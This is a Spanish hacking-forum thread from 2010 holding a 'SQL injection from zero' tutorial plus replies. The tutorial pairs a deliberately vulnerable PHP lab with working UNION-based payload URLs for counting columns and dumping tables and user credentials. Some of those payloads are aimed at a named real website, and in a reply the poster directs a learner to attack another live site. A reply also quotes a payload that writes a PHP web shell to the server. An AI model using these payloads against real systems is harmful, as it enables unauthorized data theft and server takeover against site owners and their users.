Inyeccion Sql desde 0 by el Gran Guason

  • 16 Respuestas
  • 11238 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Fakedo0r

  • *
  • Visitante

Inyeccion Sql desde 0 by el Gran Guason

  • en: Febrero 27, 2010, 09:58:15 am
Inyecciones SQL desde 0

Autor: El Gran Guasón

Indice:

0x01:Que es una inyección SQL
0x02:Como sacar el numero de columnas
0x03:Como sacar tablas y columnas en information schema
0x04:Como sacar tablas y columnas por fuerza bruta
0x05:Como sacar columnas de mysql.user
0x06:Como sacar usuarios y password
0x07:Sacar informacion de la base de datos
0x08:Como explotar LOAD_FILE
0x09:Como hacer vulnerable a RFI mediante una inyeccion SQL
0x10:Evitar estos ataques

0x01:Que es una inyeccion SQL

Una inyeccion SQL es tecnica para sacar informacion de una base de datos para poder
ver datos que no son publicos y modificar a nuestro antojo.
La mayoria de las personas que les gusta hackear siempre usan las inyecciones SQL ya
preparadas para sacar user y pass del admin sin siquiera conocer como funciona.Esto
es algo muy negativo ya que cualquier idiota sin experiencia puedo sacar user y pass con
un plis.
Para usar este manual necesitas tener instalado AppServer o Easy PHP

http://www.appservnetwork.com/index.php?newlang=spanish

Los archivos para la web deben ir en C:\Appserv\www

Entonces a programar se ha dicho.

Antes que tienes que crear la base de datos , primero van a

Inicio - Todos los programas - Appserv - MySQL Command Line Client

Ejecutamos el MySQL Command Line Client y escribimos la contraseña.

Ejecuta los siguientes comandos.

Código: [Seleccionar]
Language: SQL
CREATE
TABLE
`users` (
`id` int(10) UNSIGNED
NOT
NULL
AUTO_INCREMENT,
`name` varchar(25) NOT
NULL,
`password` varchar(50) NOT
NULL,
`country` varchar(20) NOT
NULL,
PRIMARY
KEY
(`id`)
 
INSERT
INTO
`users` VALUES
(1, 'Guason', '123', 'Argentina');
INSERT
INTO
`users` VALUES
(2, 'Pero', '11', 'Infierno');
INSERT
INTO
`users` VALUES
(3, 'Trinity', '12354', 'Via Lactea');
INSERT
INTO
`users` VALUES
(4, 'Galaxia', 'gaylord', 'Cabaret');

Aca les dejo para el index

Código: [Seleccionar]
Language: PHP
<?php 
 
 
/* 
 
 
*/ 
 
 
// Datos para el login
 
 
$dbhost 'localhost';
$dbuser 'root';
$dbname 'test';
 
 
// -------------------
 
 
$user $_GET['id'];
if(empty(
$user)){
 
 
$user 1;
 
 

 
 
$db mysql_connect($host$dbuser);
mysql_select_db($dbname,$db); 
 
 
$sql mysql_query("SELECT * FROM `users` WHERE id=".$user) or die (mysql_error());
$users = @mysql_fetch_row($sql); 
 
 
echo 
"<h2><center><u>Laboratorio Guasonero<br>By Guasón</u><br><br>";
echo 
"<font color='#FF0000'>user_id: </font>".$users[0]."<br>";
echo 
"<font color='#FF0000'>username: </font>".$users[1]."<br>";
echo 
"<font color='#FF0000'>password: </font>".$users[3]."<br>"
 
 
mysql_close($db); 
 
 
?>


¿Como se si es vulnerable?

Para saber si es vulnerable basta con hacer

http://127.0.0.1/index.php?id=1+and+1=0

Si no se muestra nada , la pagina no seria vulnerable.

0x02:Como sacar el numero de columnas

Para sacar el numero de columnas seria muy facil pues puede ser con dos tecnicas que son

**ORDER BY******

Para poder sacar el numero de columnas mediante Order By seria

http://127.0.0.1/index.php?id=1+order+by+1

Si se muesta todo correcto es que ese numero que esta al final de la url "1" no es numero de
columnas y tenemos que seguir subiendo

http://127.0.0.1/index.php?id=1+order+by+2
http://127.0.0.1/index.php?id=1+order+by+3
http://127.0.0.1/index.php?id=1+order+by+4
http://127.0.0.1/index.php?id=1+order+by+5 (ERROR)

Pues si en el numero 5 nos dice error , esta queriendo decir que ya no hay mas columnas , pues
deduciendo tenemos que el sitio tiene 4 columnas

***Sumando con union select*******

Esta es la mejor y mas bien confiable tecnica para sacar el numero de columnas. Yo en esta
tecnica lo que hago es poner una palabra en hexadecimal y no numero. Ejemplo

0x677561736f6e = guason

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e

Pues no nos dice nada interesante la inyeccion pero si seguimos poniendole mas.....

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e ( NOS TIRA guason)

Pues si instalaste la base de datos como la mia. Veras que al intentar 4 veces mi nombre en
hexadecimal nos tira 3 veces guason. Pues es obvio que la base de datos tiene 4 columnas.
Esta tecnica es muy bueno para hacer tools un ejemplo es mi programa Hunter-MYSQL aunque
yo lo considero obsoleto.

0x03:Como sacar tablas y columnas con information schema

Hay dos formas de sacar tablas y columnas con information schema una es a lo boludo y otra a lo
vivo. Pero en realidad serian con sus verdaderos nombres LIMIT y group_concat
Para los dos casos necesitamos el numero de columnas antes

***Usando LIMIT*****

Para recorrer las tablas usare como ejemplo a bullcariez pues mi version de mysql no es la 5:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1

Con esta tecnica veran una tabla pero no todas por lo que tiene que seguir aumentando el numero
hasta que vean alguna interesante como user o pass.

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1

Cuando lleguen al numero 17 veran la tabla amada llamada Users

Ahora hay que sacar las columnas con limit. Seria asi.

117,115,101,114,115 = Users en ascii

http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)

Como veran se muestra el nombre de una columna llamada Pass y si intentamos con 69 nos muestra la columna llamada nombre.Realmente una mierda esta tecnica pero bueno.

Aca les dejo una tool para convertir una palabra a ascii en este caso tablas
Código: [Seleccionar]
Language: Perl
#Name program = Ascii-DE
#Version = beta
#Autor = El Gran Guasón
 
my $palabra = $ARGV[1];
my $opcion = $ARGV[2];
 
unless ($palabra || $opcion) {
print "\n\nModo de uso = $0 --ascii <palabra> <opcion>\n\n";
print "<palabra> = Texto normal o codificacion ascii\n";
print "<opcion> = encode , decode\n\n";
exit 1;
}
 
if ($opcion eq "encode") {
&ascii_encode($palabra);
&creditos;
}
 
if ($opcion eq "decode") {
&ascii_decode($palabra);
&creditos;
}
 
sub ascii_decode {
 
my $z = shift;
 
$z = join q[], map { chr } split q[,],$z;
 
print "\n\n
« Última modificación: Noviembre 23, 2014, 12:28:35 pm por Expermicid »

Desconectado ProcessKill

  • *
  • Underc0der
  • Mensajes: 154
  • Actividad:
    0%
  • Reputación 0
  • Arriba los hackers de Argentina!
    • Ver Perfil
    • Email

Re:Inyeccion Sql desde 0 by el Gran Gauson

  • en: Febrero 27, 2010, 06:50:04 pm
Exelente Tutorial. Lo dejo fijo para que no se pierda en el tiempo.
Saludos!

Desconectado Pa531no5

  • *
  • Underc0der
  • Mensajes: 225
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
Muy buen aporte, esta excelentemente explicado, tenia otro pero lo pillaba a medias, este esta genial!!

Desconectado Abnormality

  • *
  • Underc0der
  • Mensajes: 392
  • Actividad:
    0%
  • Reputación 0
  • %SystemRoot%
    • Ver Perfil
    • Email
Excelente tutorial, muy util. Gracias por el aporte.

Ah, en el titulo dice Sql desde 0 by el Gran Gauson y es el Gran Guason. =)

Platinum

  • *
  • Visitante
Gracias camarada, voy a empezar a leerlo con calma, pero te pongo ya las gracias porque tiene muy buena pinta  ;)

Desconectado PerverthsO

  • *
  • Underc0der
  • Mensajes: 56
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
hey q buen post felicitaciones XD y realmente esto sera de mucha ayuda XD
<h1>PerverthsO</h1>

Platinum

  • *
  • Visitante
Ejecuto el comando:

Código: [Seleccionar]
Language: SQL
CREATE
TABLE
`users` (
`id` int(10) UNSIGNED
NOT
NULL
AUTO_INCREMENT,
`name` varchar(25) NOT
NULL,
`password` varchar(50) NOT
NULL,
`country` varchar(20) NOT
NULL,
PRIMARY
KEY
(`id`)
 
 
 
 
INSERT
INTO
`users` VALUES
(1, 'Guason', '123', 'Argentina');
INSERT
INTO
`users` VALUES
(2, 'Pero', '11', 'Infierno');
INSERT
INTO
`users` VALUES
(3, 'Trinity', '12354', 'Via Lactea');
INSERT
INTO
`users` VALUES
(4, 'Galaxia', 'gaylord', 'Cabaret');

Y me aparece lo siguiente:
Código: [Seleccionar]
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near 'Langu
age: SQL
CREATE
TABLE
`users` (
`id` int(10) UNSIGNED
NOT
NULL
AUTO_IN' at line 1
mysql> INSERT
    -> INTO
    -> `users` VALUES
    -> (2, 'Pero', '11', 'Infierno');
ERROR 1046 (3D000): No database selected
mysql> INSERT
    -> INTO
    -> `users` VALUES
    -> (3, 'Trinity', '12354', 'Via Lactea');
ERROR 1046 (3D000): No database selected
mysql> INSERT
    -> INTO
    -> `users` VALUES
    -> (4, 'Galaxia', 'gaylord', 'Cabaret');
ERROR 1046 (3D000): No database selected

¿Alguna idea?  :(



Fakedo0r

  • *
  • Visitante
No podria decirte porke te sale asi , pero es solo pake crees una pagina i lo practikes en tu pc , pero bueno si no te sale , aki te dejo una web , practica con las sentencias en ella:

http://www.agenciapulsar.org/coberturas_det2.php?id=65 | borra el "65" i de ahi aplica las sentencias

Cualkier duda , avisame por pm !!!
Saludos  ;)

Desconectado S[e]C

  • *
  • Underc0der
  • Mensajes: 42
  • Actividad:
    0%
  • Reputación 0
  • I am mine.
    • Ver Perfil
    • Undersecurity
Es porque no estas usando ninguna base de datos, primero creas la base de datos:

Código: [Seleccionar]
CREATE DATABASE prueba;
luego la seleccionas para usarla;

Código: [Seleccionar]
USE prueba;
y luego ejecutas el comando ;) .

Usa la web oficial como referencia bro: http://dev.mysql.com/doc/refman/5.0/es/

Y lo mejor es que practiques un poco de SQL en localhost antes de lanzarte a las SQL injection .

No podria decirte porke te sale asi , pero es solo pake crees una pagina i lo practikes en tu pc , pero bueno si no te sale , aki te dejo una web , practica con las sentencias en ella:

http://www.agenciapulsar.org/coberturas_det2.php?id=65 | borra el "65" i de ahi aplica las sentencias

La idea es que sepa lo que esta haciendo no que siga paso a paso un tutorial y haga cosas sin tener idea como funciona el asunto.

Saludos.
« Última modificación: Abril 02, 2010, 11:11:01 am por S[e]C »

Fakedo0r

  • *
  • Visitante
Código: [Seleccionar]
CREATE DATABASE prueba;
luego la seleccionas para usarla;

Código: [Seleccionar]
USE prueba;
y luego ejecutas el comando ;) .
------------------------------------------

La idea es ke aprenda html  y php no ke pruebe sin saber lo ke sta aciendo  ;)

Desconectado PerverthsO

  • *
  • Underc0der
  • Mensajes: 56
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
bueno creo q en un sql injeccion como dice el titulo la idea es q sepa manejar bien la sintaxis SQL antes q cualquier lenguaje web como php,asp,jsp teniendo claro las sentencias usadas en SQL podras injectar codigo para los diferentes motores de base de datos q usan esa sintaxis como
mssql,mysql,postgres,oracle etc

tonces yo les recomendaria para lo q quieren aprender y usar sql injeccion.
Aprendan SQL :)
<h1>PerverthsO</h1>

Desconectado misionero2010

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
Exelente Tutorial. Lo dejo fijo para que no se pierda en el tiempo.
Saludos!
Hola disculpa mi ignorancia pero creo q varios tenemos la duda de q significa "Id=-1 " en algunos casos no acepta los caracteres de /**/ ni -- para indicar q luego de éstos solo hay comentarios y donde podemos sacar palabras en hexadecimal para usarlas en la inyeccion?
gracias

Desconectado $ad

  • *
  • Underc0der
  • Mensajes: 64
  • Actividad:
    0%
  • Reputación 0
  • ¡ l0v3 H4ck¡nG
    • Ver Perfil
    • Visita mi Blog
Citar
Hola disculpa mi ignorancia pero creo q varios tenemos la duda de q significa "Id=-1 " en algunos casos no acepta los caracteres de /**/ ni -- para indicar q luego de éstos solo hay comentarios y donde podemos sacar palabras en hexadecimal para usarlas en la inyeccion?
gracias

Lee esto.

PD:

Debes sacar las tablas, la "palabra" que se pasa a ASCII (En algunos casos) es el nombre de la tabla "objetivo", para obtener de esta el numero de columnas, y posteriormente imprimir los datos.
« Última modificación: Mayo 19, 2010, 01:39:19 pm por $ad »

Desconectado PerverthsO

  • *
  • Underc0der
  • Mensajes: 56
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
contestando al pregunta ID=-1 significa que el paremtro q tomara el php para hacer la consulta sera -1 naa mas ahora con lo de los comentarios normalmente se usan /*,--.# si es q ninguno de esos te vale quiere decir q la consulta a la base de datos derrepente esta compuesta por varios select entonces no te deja comentarlos asi por asi noma bueno en general no te funciona porq al hacer un comentario en la consulta probocas un error en la consulta por ejemplo
select * from (id=1) ahora q pasa si tu comentas select * from (id=-1/*) te mandara un error porq estas haciendo al poner comentario que la consulta sea erronea y por ultimo puedes sacar las palabras en hex usando el mismo sql solo ejecutas en el phpmyadmin  o cualquier administrador de base de datos la siguiente consulta select hex('palabra') ahi te mandara las palabras en hex bueno espero te sirva saludos;)
<h1>PerverthsO</h1>

Desconectado D3rakON

  • *
  • Underc0der
  • Mensajes: 15
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
Impresionante post la verdad que no se mucho sobre la inyeccion Sql, asi que me viene al pelo.!


Saludos!

Desconectado misionero2010

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
hola amigo, estoy aprendiendo sobre el hack y conosco las sentencias basicas de sql pero en la inyeccion me destantean algunos codigos, no se si me puedas explicar solo algunos detalles, por ejemplo de la sig.
http://127.0.0.1/index.php.php?id=-1+union+select+"<?php $cmd = $_GET['agarrala']; system ($cmd);?>",2,3,4+into+outfile+'../../www/cmd.php'--
el ?id= se usará siempre o se cambia dependiendo del codigo fuente de la pagina; si ocupan <input type= text name="numcuenta" y <input type= password name="clave" inyecto como :
//127.0.0.1/index.php?numcuenta=-1+union+select .............. ?
y ese "=-1 " el guion 1 significa comentario en campo 1 ?
te agradesco tu aporte

Desconectado misionero2010

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
contestando al pregunta ID=-1 significa que el paremtro q tomara el php para hacer la consulta sera -1 naa mas ahora con lo de los comentarios normalmente se usan /*,--.# si es q ninguno de esos te vale quiere decir q la consulta a la base de datos derrepente esta compuesta por varios select entonces no te deja comentarlos asi por asi noma bueno en general no te funciona porq al hacer un comentario en la consulta probocas un error en la consulta por ejemplo
select * from (id=1) ahora q pasa si tu comentas select * from (id=-1/*) te mandara un error porq estas haciendo al poner comentario que la consulta sea erronea y por ultimo puedes sacar las palabras en hex usando el mismo sql solo ejecutas en el phpmyadmin  o cualquier administrador de base de datos la siguiente consulta select hex('palabra') ahi te mandara las palabras en hex bueno espero te sirva saludos;)
OK, gracias hermano, buena respuesta, no sabía lo del select hex('palabra') 8)

 

Blind SQLi desde cero [SQLi a ciegas] by ANTRAX

Iniciado por ANTRAX

Respuestas: 20
Vistas: 13543
Último mensaje Julio 27, 2014, 01:04:47 am
por DRAKONE
[Curso] SQL Injection desde 0 - Union based y Blind Boolean Based.

Iniciado por M5f3r0

Respuestas: 8
Vistas: 14288
Último mensaje Abril 21, 2017, 04:36:34 am
por M5f3r0
Routerpwn, un framework para explotar dispositivos embebidos desde tu celular

Iniciado por hkm

Respuestas: 2
Vistas: 3933
Último mensaje Agosto 01, 2011, 11:45:43 pm
por JaAViEr
Analisis de un Buffer Overflow desde codigo muerto

Iniciado por PerverthsO

Respuestas: 1
Vistas: 3090
Último mensaje Junio 02, 2015, 07:24:05 am
por .:UND3R:.
Videos Metasploit desde básico hasta avanzado

Iniciado por dvdr

Respuestas: 24
Vistas: 24317
Último mensaje Abril 28, 2016, 11:40:55 am
por Satyricon